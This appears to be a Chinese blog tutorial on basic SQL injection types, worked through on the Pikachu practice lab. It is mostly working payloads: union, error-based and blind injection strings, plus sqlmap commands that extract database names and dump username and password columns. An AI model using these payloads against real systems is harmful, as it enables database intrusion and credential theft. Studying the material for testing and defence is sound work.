sql注入基础类型

本文最后更新于 2024年11月30日 晚上

sql注入基础类型

简介

SQL注入漏洞主要形成的原因是在数据交互中,站点针对前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行,从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷),sql注入漏洞有许多类型

数字型

手动注入

基于永真语句的手动注入

SQL语句

1
select username,email from member where id

可以看到后台会直接把id拼接到sql语句里面进行执行,这里的参数是数字型,不需要闭合,如果让id=1 or 1=1,拼成的语句就是

1
select username,email from member where 1 or 1=1

因为1=1永真,所以这里会把所有表列出来

基于union的联合手动注入

前置知识
1
2
3
4
5
6
7
8
9
10
11
12
在MySQL中有information_schema这个库,该库存放了所有数据库的信息。

information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
schema_name 数据库名
group_concat()将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

concat()函数

将多个不同字段的字符串连接成一个字符串

group_concat()

将多个同字段的字符串连成一个字符串

order by

首先先了解一下sql语句中的order by 语句,order by 语句会根据字段的值进行排序(也就是列),但如果一个表只有3列,但是你执行了order by 4,这时就会报错,因此,这个可以用来判断表的字段数

当输入 order by 2 的时候可以看到正常回显

输入order by 3的时候就报错了

说明字段数为2

那么我们就可以基于union进行sql语句的联合执行

爆库名
1
id=1 union select database(),database()
爆表名
1
2
id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()
#这个语句的意思就是从information_schema数据库中找到当前数据库的所有表名,用group_concat()串联起来

爆列
1
2
id=1 union select group_concat(column_name),2 from information_schema.columns where table_name='users'(表名可改)
#这个语句的意思是从information_schema数据库中找到当前所有列名,用group_concat()串联起来

爆数据
1
2
id=1 union select username,password from users
#这个更好理解,从users表中查找username和password字段的数据

基于函数报错的注入

前置知识

updatexml()函数

  • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
  • 作用:改变文档中符合条件的节点的值
  • 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
  • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

extractvalue()函数

  • 此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  • extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • select user,password from users where user_id=1 and (extractvalue(1,0x7e));
  • 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。

floor()函数

原理:利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

原理有点复杂这里就不描述了,下面会直接上payload,可以结合payload来理解

updatexml()函数
爆库名
1
2
3
1 and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)
#0x7e代表~,它不是Xpath语句,会报错,报错信息会是这个函数第二关参数的内容
#这里就是用concat函数把数据库名,用户名,路径名和0x7e合成一个不符合Xpath语法的字符串,作为参数,然后让其报错返回信息

爆表名
1
2
1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
#其实原理类似,通过union语句哪里找到表名,然后作为参数输入,报错返回信息

爆字段
1
2
1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),0x7e),1)
#把字段名作为参数,报错返回

爆内容
1
1 and updatexml(1,concat(0x7e,(select group_concat(username) from pikachu.users)),1)

1
1 and updatexml(1,concat(0x7e,(select group_concat(password) from pikachu.users)),1)

extractvalue()函数
爆库名
1
1 and extractvalue(1,concat(0x7e,user(),0x7e,database()))
爆表名
1
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit i,1)))
爆字段
1
1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))
爆内容
1
1 and extractvalue(1,concat(0x7e,(select group_concat(username) from pikachu.users)))
1
1 and extractvalue(1,concat(0x7e,(select group_concat(password) from pikachu.users)))
floor()函数
爆库名
1
1 union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x

爆表名
1
2
1 union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema=database() limit i,1)) x from information_schema.schemata group by x
#i是可以变的,用来爆出不同的表名

爆字段
1
2
1 union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema=datab limit i,1)) x from information_schema.schemata group by x
#同样limit i,1可变,爆不同的字段

爆内容
1
2
1 union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(username,0x3a,password) from pikachu.users limit i,1)) x from information_schema.schemata group by x
#i可变

sqlmap注入(POST)

因为是post传参,用sqlmap需要使用到请求时的报文,下列保存为post.txt

爆库名
1
sqlmap -r '/home/joker/桌面/post.txt' --current-db

爆表名
1
2
3
sqlmap -r "/home/joker/桌面/post.txt" -p id -D pikachu --tables
#-p是为了指定参数,pikachu中的参数是id
#-D 这个参数指向的是数据库名

爆字段
1
2
3
sqlmap -r "/home/joker/桌面/post.txt" -p id -D pikachu -T users --columns
#-T 这个参数指向的就是表名
#--columns 这个查找字段

爆内容
1
2
sqlmap -r "/home/joker/桌面/post.txt" -p id -D pikachu -T users -C "username,password" --dump
#--dump 这个参数与前面四个结合为了输出所有数据

字符型

手动注入

基于永真语句的手动注入

SQL语句,与数字相比多了引号

那么这种手动注入就需要构造闭合,假设我们让$name=admin’ or 1=1#,那么后天的sql语句就会变成

1
2
select id,email from member where username='admin' or 1=1#'
其中#是注释符,相当于把'注释了,常见的注释符还有‘--’,使用这个时要用空格隔开

基于union的联合注入

以下操作都是判断完字段后,判断字段的方法与数字型类似,要构造闭合而已

爆库名

1
admin'union select database(),database()#

其他操作也与数字类似,这里不重复说明

sqlmap注入(GET)

因为get传参可以在url上操作,所以不需要保存报文来注入,当然这种保存请求报文的方式也可以用于GET,但这里介绍另一种方法

爆库名

1
2
sqlmap -u "http://125.217.53.64/pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --current-db
#-u参数就是url

其他操作与次类似,这里不重复

搜索型

手动注入

基于永真语句的手动注入

SQL语句,这次的闭合时是分号和百分号,原理一致,构造闭合

1
admin%' or 1=1#

基于union的联合注入

以下操作在已判断完字段的情况下

爆库

1
2
admin%' union select database(),database(),database()#
#这里字段为3

其他操作与他类似,不重复

sqlmap注入

直接用上面的即可,不讲了

update&insert

insert

SQL语句,insert 的SQL语句有两个,可以直接插入,也可以写入参数名进行插入

1
insert into table_name(username,pw,sex,phonenum,email,address) values(‘’ ‘’ ‘’ ‘’ ‘’)
1
insert into table_name values()

pikachu的例子是第一个

我们传入的参数其实都在values里面,所以这里我们就单独分析这个

1
values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')

假设传入参数

1
username=avsfd&password=sdfavsdv&sex=asfb&phonenum=abfs&email=abvsd&add=abwr&submit=submit

最后的sql语句就是

1
values('avsfd','sdfavsdv','asfb','abfs','abvsd','abwr')

如果传入一些恶意构造的语句

1
username=xixi' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=

形成的语句就是

1
values('xixi' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '','666666',’,'','','')

这里其实就是一个类似字符型的sql注入

爆库

1
username=xixi' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=

其他的操作其实就是把基于报错的注入与这个结合起来,这里不继续了

update

SQL语句

1
2
INSERT INTO table_name
VALUES (value1,value2,value3,...);

这个跟insert 差不多,payload都大差不差,这里直接给了

爆库

1
sex=nv' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&phonenum=123&add=123&email=123%40123.com&submit=submit

delete

SQL语句

这个sql语句本质上就是一个数字型sql注入,具体的操作参考前面,这里就举一个例子

1
id=60 or updatexml(1,concat(0x7e,(select database()),0x7e),1)

盲注

布尔盲注

基于boolian盲注主要表现症状:

  1. 没有报错

  2. 只显示两种情况,不管输入对错

输入kobe’ and 1=1#时,能正确显示

输入kobe’ and 1=2#时,没有正确输出

说明这个时存在注入的,并且是所有语句都是真的时候才能正确回显

我们可以利用,length(),substr(),ascii()等等,来拼接,根据回显来一个一个来判断和获取字符

Length()函数:用来返回长度

Substr()函数可以截取一个字符子串

ascii()是用来返回ascii码的

接下来对数据库名称的第一个字符进行判断

正常来说是要爆破的,为了方便说明就直接用了

1
kobe' and ascii(substr(database(),1,1))=112#  //ascii表 112对应p

时间盲注

基于时间的盲注比布尔盲注要更难一些,因为他只有一个回显,没有办法通过回显来判断是否存在注入了,那么这时候就可以通过回显返回的时间来判断

输出命令

kobe’ and sleep(5)#

发现过来5秒才回显,说明是存在注入漏洞的

那么就要思考怎么进行攻击,可以通过一个if 语句,条件是返回的数据库名称的某个字符和我们爆破的相等,然后执行sleep(5),如果执行了sleep(5)就说明字符是相等的,就能泄露信息了

输入命令

kobe’and if((substr(database(),1,1))=’p’,sleep(5),null)

页面5秒后回显,说明数据库名称的第一个字符就是p

由于手工进行盲注的话很麻烦,所以这个还是推荐sqlmap直接一把梭,当然原理还是需要理解的


sql注入基础类型
http://example.com/2024/11/29/sql注入基础类型/
作者
清风
发布于
2024年11月29日
许可协议